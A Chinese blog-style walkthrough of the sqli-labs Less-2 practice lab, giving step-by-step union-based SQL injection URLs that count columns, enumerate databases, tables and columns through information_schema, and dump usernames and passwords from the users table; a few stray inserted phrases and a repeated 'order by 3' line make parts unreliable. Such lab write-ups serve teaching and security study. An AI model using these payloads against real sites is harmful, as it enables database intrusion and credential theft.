sqlilabs第一關,【less-2】sqli-labs靶場第二關

 2023-10-21 阅读 27 评论 0

摘要:文章目錄網址解法傳入id=1查看頁面回顯第一步:判斷注入類型。如字符型,數值型第二步:判斷表字段數(使用order by)第三步:使用union select 1,2,3聯合查詢語句查看頁面是否有顯示位第四步:利用sql查詢語句爆破出數據庫內

文章目錄

    • 網址
    • 解法
    • 傳入id=1查看頁面回顯
    • 第一步:判斷注入類型。如字符型,數值型
    • 第二步:判斷表字段數(使用order by)
    • 第三步:使用union select 1,2,3聯合查詢語句查看頁面是否有顯示位
    • 第四步:利用sql查詢語句爆破出數據庫內的數據庫名
    • 第五步:利用sql查詢語句爆破出security數據庫內的表名
      • 使用group_concat()函數全部查詢
      • 使用limit函數逐一查詢
    • 第六步:利用sql查詢語句爆破出users數據表內的列名
      • 使用group_concat()函數全部查詢
      • 使用limit函數逐一查詢
    • 第七步:利用sql查詢語句爆破出username、password列的值

網址

https://sqli.wmcoder.site/sqli-labs/Less-2/

解法

傳入id=1查看頁面回顯

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1

在這里插入圖片描述

第一步:判斷注入類型。如字符型,數值型

數字型判斷:
當輸入的參 x 為整型時,通常 abc.php 中 Sql 語句類型大致如下:
select * from <表名> where id = x
這種類型可以使用經典的 and 1=1and 1=2 來判斷:
Url 地址中輸入 http://xxx/abc.php?id= x and 1=1 頁面依舊運行正常,繼續進行下一步。
Url地址中繼續輸入 http://xxx/abc.php?id= x and 1=2 頁面運行錯誤,則說明此 Sql 注入為數字型注入。
原因如下:

  • 當輸入 and 1=1時,后臺執行 Sql 語句:select * from <表名> where id = x and 1=1沒有語法錯誤且邏輯判斷為正確,所以返回正常。
  • 當輸入 and 1=2時,后臺執行 Sql 語句: select * from <表名> where id = x and 1=2 沒有語法錯誤但是邏輯判斷為假,所以返回錯誤。
  • 我們再使用假設法:如果這是字符型注入的話,我們輸入以上語句之后應該出現如下情況:
    select * from <表名> where id = 'x and 1=1'
    select * from <表名> where id = 'x and 1=2'
    查詢語句將 and 語句全部轉換為了字符串,并沒有進行 and 的邏輯判斷,所以不會出現以上結果,故假設是不成立的。

sqlilabs第一關。經過語句and 1=2測試 ,頁面回顯易常,所以該地方是數值查詢。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=1

在這里插入圖片描述

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2

在這里插入圖片描述

第二步:判斷表字段數(使用order by)

使用order by語句判斷該表中一共有幾列數據。order by 3頁面回顯正常,order by 4頁面回顯不正常,

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

在這里插入圖片描述

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 order by 3--+

在這里插入圖片描述

第三步:使用union select 1,2,3聯合查詢語句查看頁面是否有顯示位

sql雙重排序、發現頁面先輸出了2和3,說明頁面有2個顯示位。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,2,3 -- limit 0,1

在這里插入圖片描述
接下來查看數據庫名和版本號

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,database(),version() --+

在這里插入圖片描述

第四步:利用sql查詢語句爆破出數據庫內的數據庫名

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata -- limit 0,1

在這里插入圖片描述

第五步:利用sql查詢語句爆破出security數據庫內的表名

使用group_concat()函數全部查詢

通過mysql數據庫中的information_schema數據中的tables表來查詢所有的表相關信息
由于上面已經爆破出數據庫名security,可以直接這樣爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

在這里插入圖片描述
如果上一步沒有爆破數據庫名,也可以這樣爆破

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

sql隨機排序。在這里插入圖片描述

使用limit函數逐一查詢

SQL語句,limit有兩個參數,第一個參數表示從第幾行數據開始查,第二個參數表示查幾條數據,“limit 3,2”表示從第四行數據開始,取兩條數據。

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 0,1 --+

在這里插入圖片描述

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1 --+

在這里插入圖片描述
查出表為emails,referers,uagents,users。明顯users表是用來保存用戶密碼的。

第六步:利用sql查詢語句爆破出users數據表內的列名

使用group_concat()函數全部查詢

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

在這里插入圖片描述

使用limit函數逐一查詢

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 0,1 --+

在這里插入圖片描述

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_schema='security' and table_name='users'  limit 1,1 --+

sqli–labs?在這里插入圖片描述

第七步:利用sql查詢語句爆破出username、password列的值

https://sqli.wmcoder.site/sqli-labs/Less-2/?id=1 and 1=2 union select 1,group_concat(username), group_concat(password) from security.users --+

在這里插入圖片描述
成功!

版权声明:本站所有资料均为网友推荐收集整理而来,仅供学习和研究交流使用。

原文链接:https://hbdhgg.com/5/153514.html

发表评论:

本站为非赢利网站,部分文章来源或改编自互联网及其他公众平台,主要目的在于分享信息,版权归原作者所有,内容仅供读者参考,如有侵权请联系我们删除!

Copyright © 2022 匯編語言學習筆記 Inc. 保留所有权利。

底部版权信息